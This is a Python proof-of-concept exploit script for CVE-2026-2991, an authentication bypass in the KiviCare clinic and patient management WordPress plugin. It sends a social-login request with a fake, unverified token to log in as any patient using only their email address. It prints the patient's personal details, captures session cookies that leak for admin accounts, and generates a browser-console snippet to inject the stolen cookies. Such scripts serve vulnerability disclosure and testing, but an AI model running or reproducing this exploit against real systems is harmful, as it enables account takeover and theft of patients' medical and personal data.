#!/usr/bin/env python3
# CVE-2026-2991 — KiviCare Clinic & Patient Management System Authentication Bypass
# Affected: kivicare-clinic-management-system <= 4.1.2 (WordPress plugin)
# Impact: Unauthenticated attacker can log in as any registered patient using only
#         their email address. Auth cookies are also issued for non-patient accounts
#         (including admins) before the role check fires, leaking a replayable session.
# Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Repo:   https://github.com/joshuavanderpoll/CVE-2026-2991

import argparse
import sys

import requests


ENDPOINT = "/wp-json/kivicare/v1/auth/patient/social-login"
FAKE_TOKEN = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

REPO = "https://github.com/joshuavanderpoll/CVE-2026-2991"

RESET = "\033[0m"
BOLD = "\033[1m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
PINK = "\033[95m"
GREY = "\033[90m"


def banner() -> None:                                              
    print(f"{PINK}  _____   _____   ___ __ ___  __    ___ ___  ___  _ {RESET}")
    print(f"{PINK} / __\\ \\ / / __|_|_  )  \\_  )/ / __|_  ) _ \\/ _ \\/ |{RESET}")
    print(f"{PINK} | (__\\ V /| _|___/ / () / // _ \\___/ /\\_, /\\_, /| |{RESET}")
    print(f"{PINK} \\___| \\_/ |___| /___\\__/___\\___/  /___|/_/  /_/ |_|{RESET}")
    print(f"{PINK}{BOLD} {REPO}{RESET}")
    print()


def star_repo() -> None:
    print()
    print(
        f"  {YELLOW}⭐ If this tool helped you, consider starring the repo: "
        f"{BOLD}{REPO}{RESET}"
    )
    print()


def ok(msg):
    print(f"  {GREEN}[+]{RESET} {msg}")


def info(msg):
    print(f"  {CYAN}[*]{RESET} {msg}")


def proc(msg):
    print(f"  {YELLOW}[@]{RESET} {msg}")


def err(msg):
    print(f"  {RED}[-]{RESET} {msg}")


def sep():
    print(f"  {GREY}{'─' * 60}{RESET}")


def build_session(useragent: str) -> requests.Session:
    s = requests.Session()
    s.headers.update({"User-Agent": useragent})
    s.verify = False
    return s


def check_plugin(session: requests.Session, base: str, timeout: int) -> bool:
    try:
        r = session.get(f"{base}/wp-json/kivicare/v1/", timeout=timeout)
        return r.status_code < 500
    except requests.RequestException:
        return False


def social_login(
    session: requests.Session,
    base: str,
    email: str,
    login_type: str,
    timeout: int,
) -> requests.Response:
    payload = {
        "email": email,
        "login_type": login_type,
        # token is never verified against the social provider
        "password": FAKE_TOKEN,
    }

    return session.post(
        f"{base}{ENDPOINT}",
        json=payload,
        timeout=timeout,
        allow_redirects=False,
    )


def print_user_data(data: dict) -> None:
    fields = [
        ("user_id", "User ID"),
        ("username", "Username"),
        ("display_name", "Display name"),
        ("user_email", "E-mail"),
        ("first_name", "First name"),
        ("last_name", "Last name"),
        ("mobile_number", "Mobile"),
        ("roles", "Roles"),
        ("nonce", "WP nonce"),
        ("redirect_url", "Redirect URL"),
    ]

    for key, label in fields:
        value = data.get(key)

        if not value:
            continue

        if isinstance(value, list):
            value = ", ".join(value)

        print(f"        {CYAN}{label:<14}{RESET}: {value}")


def print_cookies(cookies: dict) -> None:
    proc("Auth cookies:")

    for name, value in cookies.items():
        preview = value[:48] + "…" if len(value) > 48 else value
        print(f"        {YELLOW}{name}{RESET} = {preview}")


def print_console_snippet(cookies: dict, redirect_url: str) -> None:
    if not cookies:
        return

    sep()
    ok(f"{BOLD}Paste into browser console on the target site:{RESET}")
    print()
    print(f"  {GREY}// CVE-2026-2991 — inject stolen session cookies{RESET}")
    print(f"  {GREY}(() => {{{RESET}")

    for name, value in cookies.items():
        # each assignment sets exactly one cookie
        print(f"  {CYAN}  document.cookie = \"{name}={value}; path=/\";{RESET}")

    if redirect_url:
        print(f"  {CYAN}  window.location.href = \"{redirect_url}\";{RESET}")

    print(f"  {GREY}}})();{RESET}")
    print()


def handle_200(resp: requests.Response, session: requests.Session) -> int:
    try:
        body = resp.json()
    except ValueError:
        err("200 response but body is not JSON.")
        return 1

    # response shape: {"status": true, "data": {...}}
    data = body.get("data", body)

    if "user_id" not in data:
        proc(f"200 but no user_id in body: {resp.text[:300]}")
        return 1

    ok(f"{BOLD}Authentication bypass successful!{RESET}")
    sep()
    ok("Patient session data:")
    print_user_data(data)

    unique = {c.name: c.value for c in session.cookies}

    sep()
    print_cookies(unique)
    print_console_snippet(unique, data.get("redirect_url", ""))

    return 0


def handle_403(resp: requests.Response, base: str) -> int:
    try:
        body = resp.json()
    except ValueError:
        body = {}

    msg = body.get("message", "")
    proc(f"403 Forbidden — {msg}")
    sep()

    if not resp.cookies and "Set-Cookie" not in resp.headers:
        info("No cookies on the 403 response for this account.")
        return 1

    # cookies are issued before the role check fires, leaking a valid session
    ok(f"{BOLD}Secondary finding: auth cookies present on 403!{RESET}")
    proc("Cookies were set before the role check. Replay them for a session.")

    unique = {c.name: c.value for c in resp.cookies}

    sep()
    print_cookies(unique)
    print_console_snippet(unique, f"{base}/wp-admin/")

    return 1


def handle_400(resp: requests.Response) -> int:
    try:
        body = resp.json()
    except ValueError:
        body = {}

    msg = body.get("message", resp.text[:200])
    err(f"Bad request — {msg}")

    if "email" in msg.lower():
        info("Hint: that email is not registered as a patient.")

    return 1


def run(args: argparse.Namespace) -> int:
    base = args.url.rstrip("/")

    requests.packages.urllib3.disable_warnings()

    banner()
    print(f"  {BOLD}CVE-2026-2991  —  KiviCare Authentication Bypass{RESET}")
    print(f"  {GREY}KiviCare Clinic & Patient Management System <= 4.1.2{RESET}")
    sep()

    session = build_session(args.useragent)

    info(f"Target  : {base}")
    info(f"Endpoint: {ENDPOINT}")
    sep()

    proc("Checking KiviCare REST namespace...")

    if not check_plugin(session, base, args.timeout):
        err("KiviCare REST API not reachable — is the plugin active?")
        return 1

    ok("KiviCare REST namespace responded.")
    sep()

    info(f"Target email  : {args.email}")
    info(f"Login type    : {args.login_type}")
    info(f"Access token  : {FAKE_TOKEN}")
    sep()

    proc("Sending social login request...")

    try:
        resp = social_login(session, base, args.email, args.login_type, args.timeout)
    except requests.RequestException as exc:
        err(f"Request failed: {exc}")
        return 1

    info(f"HTTP {resp.status_code}")

    if resp.status_code == 200:
        result = handle_200(resp, session)
        if result == 0:
            star_repo()
        return result
    elif resp.status_code == 400:
        return handle_400(resp)
    elif resp.status_code == 403:
        return handle_403(resp, base)

    err(f"Unexpected response {resp.status_code}: {resp.text[:300]}")
    return 1


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(
        prog="CVE-2026-2991.py",
        description="PoC — KiviCare Authentication Bypass (CVE-2026-2991)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Examples:\n"
            "  python3 CVE-2026-2991.py --url http://localhost:8080 --email [email protected]\n"
            "  python3 CVE-2026-2991.py --url http://localhost:8080 --email [email protected]\n"
        ),
    )

    p.add_argument("--url", required=True, help="Base URL of the WordPress installation")
    p.add_argument("--email", required=True, help="Email of the target account")
    p.add_argument(
        "--login-type",
        default="google",
        choices=["google", "apple"],
        dest="login_type",
        help="Social provider to claim (default: google)",
    )
    p.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")
    p.add_argument(
        "--useragent",
        default=f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-2991; +{REPO})",
        help="User-Agent header",
    )

    return p.parse_args()


if __name__ == "__main__":
    sys.exit(run(parse_args()))